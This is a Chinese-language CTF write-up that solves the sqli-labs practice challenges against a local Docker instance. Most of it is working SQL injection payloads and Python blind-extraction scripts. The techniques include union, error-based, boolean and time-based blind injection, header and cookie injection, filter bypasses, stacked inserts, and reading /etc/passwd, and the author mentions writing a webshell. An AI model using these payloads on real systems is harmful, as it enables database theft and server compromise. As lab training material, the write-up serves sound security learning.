C
C
CTF-WriteUp
Search…
⌃K

SQL-Labs

环境搭建

docker

题解

less-1 -> less-4

有回显有报错,尝试联合注入。
?id=1' order by 3;--+ # 爆字段数
?id=-1' union select 1,2,database();--+ # 爆库名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ # 爆表名
?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema='security' and table_name='users';--+ # 爆字段
?id=-1' union select 1,2,group_concat(username, " ", password) from users --+ #爆字段内容
less-2 去掉单引号即可,不需要闭合。
less-3id 使用了('拼接,使用')闭合即可。
less-4id 使用了("拼接,使用")闭合即可。

less-5 -> less-6

有回显,但是回显格式固定;有报错,猜测是报错注入,这里用了XPath语法报错注入。
注意报错注入限制了返回字符串的长度,可以通过逆序读取字符串、向右读取字符串、字符串截取三种方式绕过限制。
?id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ # 爆库名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ # 爆表名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+ # 爆字段名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(username, " ", password) from users),0x7e),1)--+ # 爆字段内容
less-6使用双引号闭合。

less-7

有回显,没有具体回显信息,但是可以区分是否查询成功;有报错,但是没有输出报错信息,想到可能要用盲注。
提示给出"Use outfile",猜测用户拥有文件读写权限。
于是读取/etc/passwd文件
import requests
if __name__ == "__main__":
for i in range(1, 256):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select load_file('/etc/passwd')),{i},{i}))>{mid} --+"
response = requests.get(url)
if response.text.find("You are in") == -1:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
print(chr(mid), end="")
接着读取user表。
import requests
if __name__ == "__main__":
for i in range(1, 256):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
response = requests.get(url)
if response.text.find("You are in") == -1:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
print(chr(mid), end="")
才学疏浅,看到有姿势知道可以Apache配置文件,获得网站路径。
Apache配置文件路径;
/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /var/www/html
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/html>
但其实不读也没关系?毕竟通常Apache目录都在/var/www/html/下。
还有正常其实是可以写入文件的,直接exec进去改权限。
docker exec -it 6c7 /bin/bash
Could not load image
chmod 777 /var/www/html/Less-7/
写入文件之后蚁剑一把梭。

Less-8

布尔盲注
import requests
if __name__ == "__main__":
for i in range(1, 256):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://127.0.0.1:8080/Less-8/?id=1' and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
response = requests.get(url)
if response.text.find("You are in") == -1:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
print(chr(mid), end="")

Less-9 -> Less-10

时间盲注
iimport requests
import time
if __name__ == '__main__':
for i in range(1, 256):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
payload = "select group_concat(password) from users"
url = f"http://127.0.0.1:8080/Less-9/?id=1' and if(ascii(substring(({payload}),{i},{i}))>{mid},sleep(3),1)--+"
start = time.time()
response = requests.get(url, timeout=5)
end = time.time()
if end - start < 3:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
print(chr(mid))

Less-10

把单引号改成双引号即可。

Less-11 -> Less-14

这关终于有个登录功能了,万能钥匙直接登录。
报错注入数据外带
Less-5一样的payload。
Less-12")闭合。
Less-13')闭合。
Less-14"闭合。

Less-15 -> Less-16

报错爆不出来了,只能尝试盲注了。
看了一下源码,原来是不打印报错信息了。
看一下源码
直接单引号闭合盲注完事
import requests
import time
if __name__ == '__main__':
for i in range(1, 256):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://127.0.0.1:8080/Less-16/"
data = {
"uname": f"admin' or if(ascii(substring((select group_concat(password) from users),{i},1))>{mid},sleep(1),1);#",
"passwd": "1' or 1=1;#"
}
try:
start = time.time()
response = requests.request("POST", url=url, data=data)
end = time.time()
if end - start < 3:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
except:
left = mid + 1
print(chr(mid))

Less-16

改成")完事。
这里脚本写的有点问题,延时的特别久直到timeout,也不懂是啥问题,最后只能用try捕捉了。

Less-17

密码更新功能,是update注入。
源码中打印error信息,报错注入一把梭。
uname=admin&passwd=123456' or updatexml(1,concat(0x7e,database(), 0x7e),1);#

Less-18

User-Agent注入,继续报错注入
username: Dumb
password: Dumb
User-Agent: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-19

Referer注入,和上一题差不多。
username: Dumb
password: Dumb
Referer: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

Less-20

Cookie注入
登录后修改Cookie
' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1

Less-21

同Cookie注入,但是被Base64编码
登录后修改Cookie
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

Less-22

跟上一题一样,只是闭合方式改成双引号
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSBvciAxPSIx

Less-23

又回到了ID注入
多了正则表达式,过滤了两个常见的注释字符,只要使用闭合而不是注释字符即可绕过。
?id=-1' union select 1, (select group_concat(username, " ", password) from users), '3

Less-24

看到有修改密码功能,直接盲猜二次注入。
看一下注册功能。
传入的username被转义,再看一下修改密码功能:
发现这里的$username被直接拼接使用,而没有经过转义,可以石锤二次注入。
注册账号,设置$username
$username=admin' #
再次修改密码,原SQL语句进行拼接,结果为:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
可以直接修改原有账号admin的密码。

Less-25 -> Less-25a

把关键字ORAND过滤,双写绕过。
?id=-1' union select 1,2,(select group_concat(passwoorrd) from users)--+
25a是数字型注入,不需要闭合。

Less-26 -> Less-26a

这题做的云里雾里,没有很懂后面的原理。
测试了一下,发现空格和注释被过滤了。
这题解法比较多元,可以用异或连接。
?id=1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1
让我们在白盒测试一下,原SQL语句如下:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
拼接后:
$sql="SELECT * FROM users WHERE id='1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1' LIMIT 0,1"
测试一下,经过测试发现数字无论是多少,都会执行中间的updatexml语句,因为要进行异或操作,所以必定会执行XPath语句,然后报错
同理,相同的方法有||,也可以进行绕过。
而空格可以使用%0a绕过,在MySQL中,%0a、%0b等特殊字符都能进行绕过。
0'||updatexml(1,concat(0x7e,(Select%[email protected]@version),0x7e),1)||'1'='1

Less-27 -> Less->27a

大小写绕过即可,只要括号用的够多,是可以绕过空格过滤的。
?id=1'and(updatexml(1,concat(0x7e,(seLect(group_concat(password))from(users)),0x7e),1))and'1'='1
27a将'改为"即可。

Less-28

试了半天,没法报错注入了,一看源码,又把print给注释了。
于是接着盲注。
import requests
if __name__ == "__main__":
for i in range(1, 256):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
ch = chr(mid)
url = f"http://127.0.0.1:8080/Less-28/?id=0')||substr(database(),{i},1)>'{ch}';%00"
# print(url)
response = requests.get(url)
if response.text.find("Dumb") == -1:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
print(chr(mid))

Less-29

看了源代码,注意到有报错提示,id变量用单引号闭合
?id=0' or (updatexml(1,concat(0x7e,database(),0x7e),1)) or '1'='1
注就完事了。

Less-30

这关注释了报错注入提示,但是有回显,可以考虑布尔盲注,也可以使用联合注入,提交的ID被双引号闭合。
import requests
if __name__ == "__main__":
for i in range(1, 256):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
ch = chr(mid)
url = f'http://127.0.0.1:8080/Less-28/?id=0"or(length(database())>=10)="1'
# print(url)
response = requests.get(url)
if response.text.find("Dumb") == -1:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
print(chr(mid))

Less-31

闭合方式不一样,多了一个",可以使用报错注入,与29类似。

Less-32 -> Less-37

GBK编码注入,利用%df进行宽字节注入。
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
这几题原理类似,不再赘述。

Less-38 -> Less-41

堆叠注入。
?id=1';insert users values(2333,"oatmeal","123456");--+
这几题原理类似,修改闭合方式即可。

Less-42 -> Less-45

password没有过滤,可以堆叠注入。
login_user=admin&login_password=1'%3binsert users value(2333, "oatmeal", "123456")%3b#&mysubmit=Login

Less-46 -> Less-47

注入方式很多,随便注就行。
?sort=1'and updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less-48 -> Less-49

这两题没有报错回显,盲注就行。区别在单引号上。
1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

Less-50 -> Less-53

和前面的堆叠注入exp一样。
Last modified 2mo ago